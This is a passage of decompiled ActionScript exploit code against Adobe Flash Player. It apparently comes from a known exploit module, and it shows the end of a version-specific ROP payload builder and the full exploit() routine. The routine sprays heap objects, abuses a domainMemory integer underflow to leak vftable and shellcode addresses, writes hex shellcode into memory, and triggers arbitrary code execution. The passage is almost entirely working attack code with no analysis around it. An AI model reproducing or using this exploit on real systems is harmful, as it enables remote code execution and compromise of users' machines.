  639. payload.writeUnsignedInt((vftableAddr_copy + 122565891));
  640. payload.position = 44;
  641. payload.writeUnsignedInt(scAddr);
  642. payload.writeUnsignedInt(0x1000);
  643. payload.writeUnsignedInt(64);
  644. payload.writeUnsignedInt((scAddr - 0x0400));
  645. payload.position = 64;
  646. payload.writeUnsignedInt((vftableAddr_copy + 123362382));
  647. payload.position = 80;
  648. payload.writeUnsignedInt((scAddr + 192));
  649. payload.position = 112;
  650. payload.writeUnsignedInt((vftableAddr_copy + 32365));
  651. payload.writeUnsignedInt((vftableAddr_copy + 11760520));
  652. payload.writeUnsignedInt((vftableAddr_copy + 1117213));
  653. payload.writeUnsignedInt((vftableAddr_copy + 3721232));
  654. payload.writeUnsignedInt((vftableAddr_copy + 8274178));
  655. payload.writeUnsignedInt(scAddr);
  656. payload.writeUnsignedInt(0x1000);
  657. payload.writeUnsignedInt(64);
  658. payload.writeUnsignedInt((scAddr - 4));
  659. break;
  660. case "win 11,8,800,50":
  661. vftableAddr_copy = (vftableAddr_copy - 12936000);
  662. _local_5 = (vftableAddr_copy + 17149952);
  663. payload.writeUnsignedInt((vftableAddr_copy + 404531));
  664. payload.position = 64;
  665. payload.writeUnsignedInt((vftableAddr_copy + 2583617));
  666. payload.position = 72;
  667. payload.writeUnsignedInt((vftableAddr_copy + 7914140));
  668. payload.writeUnsignedInt((vftableAddr_copy + 4550));
  669. payload.writeUnsignedInt((vftableAddr_copy + 11780992));
  670. payload.writeUnsignedInt((vftableAddr_copy + 32684));
  671. payload.writeUnsignedInt((vftableAddr_copy + 142358));
  672. payload.writeUnsignedInt((vftableAddr_copy + 1577816));
  673. payload.writeUnsignedInt(scAddr);
  674. payload.writeUnsignedInt(0x1000);
  675. payload.writeUnsignedInt(64);
  676. payload.writeUnsignedInt((scAddr - 4));
  677. break;
  678. default:
  679. return (null);
  680. };
  681. return (payload);
  682. }
  683. public function exploit():Boolean
  684. {
  685. var vector_objects_entry_length:int;
  686. var shellcode_byte = null;
  687. var _local_6:uint;
  688. var i:int;
  689. var vftable_addr:uint;
  690. var shellcode_address:uint;
  691. var vector_objects_entry_idx:uint;
  692. var length_vector_byte_arrays:uint;
  693. var vector_byte_arrays:Vector.<ByteArray> = new Vector.<ByteArray>(0);
  694. var vector_objects:Vector.<Object> = new Vector.<Object>(0);
  695. var twos_object:Object = new <Object>[2, 2, 2, 2, 2, 2, 2, 2];
  696. var vickers_byte_array:ByteArray = new ByteArray();
  697. while (i < 0x0500)
  698. {
  699. vector_byte_arrays[i] = new ByteArray();
  700. vector_byte_arrays[i].length = ApplicationDomain.MIN_DOMAIN_MEMORY_LENGTH;
  701. i++;
  702. };
  703. vickers_byte_array.writeUTFBytes("vickers");
  704. vickers_byte_array.length = ApplicationDomain.MIN_DOMAIN_MEMORY_LENGTH;
  705. ApplicationDomain.currentDomain.domainMemory = vickers_byte_array;
  706. vector_byte_arrays[i] = new ByteArray();
  707. vector_byte_arrays[i].length = ApplicationDomain.MIN_DOMAIN_MEMORY_LENGTH;
  708. length_vector_byte_arrays = i;
  709. i = 0;
  710. while (i < (vector_byte_arrays.length - 1))
  711. {
  712. vector_byte_arrays[i++] = null;
  713. };
  714. i = 0;
  715. while (i < 0x8000)
  716. {
  717. vector_objects[i] = new <Object>[i, twos_object, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1];
  718. i++;
  719. };
  720. // _local_6 => nil => 0, makes li32(_local_6 - offset) makes it underflow!
  721. // Example leak: 0275ef00 => 10c4f508 0000003b 00002326
  722. if (((!((li16((_local_6 + 1)) == 114))) && (((vftable_addr = li32((_local_6 - 0x0100)) ) == 305419896))))
  723. {
  724. };
  725. if (((!((li16((_local_6 + 1)) == 114))) && (((vector_objects_entry_idx = li32((_local_6 - 248)) ) == 305419896))))
  726. {
  727. };
  728. vector_objects_entry_idx = (vector_objects_entry_idx >> 3);
  729. if (((!((li16((_local_6 + 1)) == 114))) && (((vector_objects_entry_length = li32((_local_6 - 252)) ) == 305419896))))
  730. {
  731. };
  732. // No success
  733. if (vector_objects_entry_length != vector_objects[vector_objects_entry_idx].length)
  734. {
  735. vickers_byte_array = null;
  736. vector_byte_arrays[length_vector_byte_arrays] = null;
  737. i = 0;
  738. while (i < vector_objects.length)
  739. {
  740. vector_objects[i++] = null;
  741. };
  742. return (false);
  743. };
  744. i = 0;
  745. while (i < vector_objects.length)
  746. {
  747. if (i != vector_objects_entry_idx)
  748. {
  749. vector_objects[i] = null;
  750. };
  751. i++;
  752. };
  753. // Use underflow to leak shellcode address
  754. if (((!((li16((_local_6 + 1)) == 114))) && (((shellcode_address = li32((_local_6 - 0x0200)) ) == 305419896))))
  755. {
  756. };
  757. shellcode_address = (shellcode_address + 0x1300);
  758. var rop_payload:ByteArray = makePayload(vftable_addr, shellcode_address);
  759. if (rop_payload == null)
  760. {
  761. return (true);
  762. };
  763. var j:uint;
  764. var shellcode_length:uint = shellcode.length;
  765. var shellcode_byte_array:ByteArray = new ByteArray();
  766. shellcode_byte_array.endian = "littleEndian";
  767. while (j < shellcode_length)
  768. {
  769. shellcode_byte = (shellcode.charAt(j) + shellcode.charAt((j + 1)));
  770. shellcode_byte_array.writeByte(parseInt(shellcode_byte, 16));
  771. j = (j + 2);
  772. };
  773. vector_byte_arrays[length_vector_byte_arrays].position = 0;
  774. vector_byte_arrays[length_vector_byte_arrays].endian = "littleEndian";
  775. vector_byte_arrays[length_vector_byte_arrays].writeBytes(rop_payload);
  776. vector_byte_arrays[length_vector_byte_arrays].writeBytes(shellcode_byte_array);
  777. // Use underflow to overwrite and get code execution
  778. if (li16((_local_6 + 1)) != 114)
  779. {
  780. si32((shellcode_address + 1), (_local_6 - 244));
  781. };
  782. vector_objects[vector_objects_entry_idx][1][0];
  783. return (true);
  784. }
  785. }
  786. }//package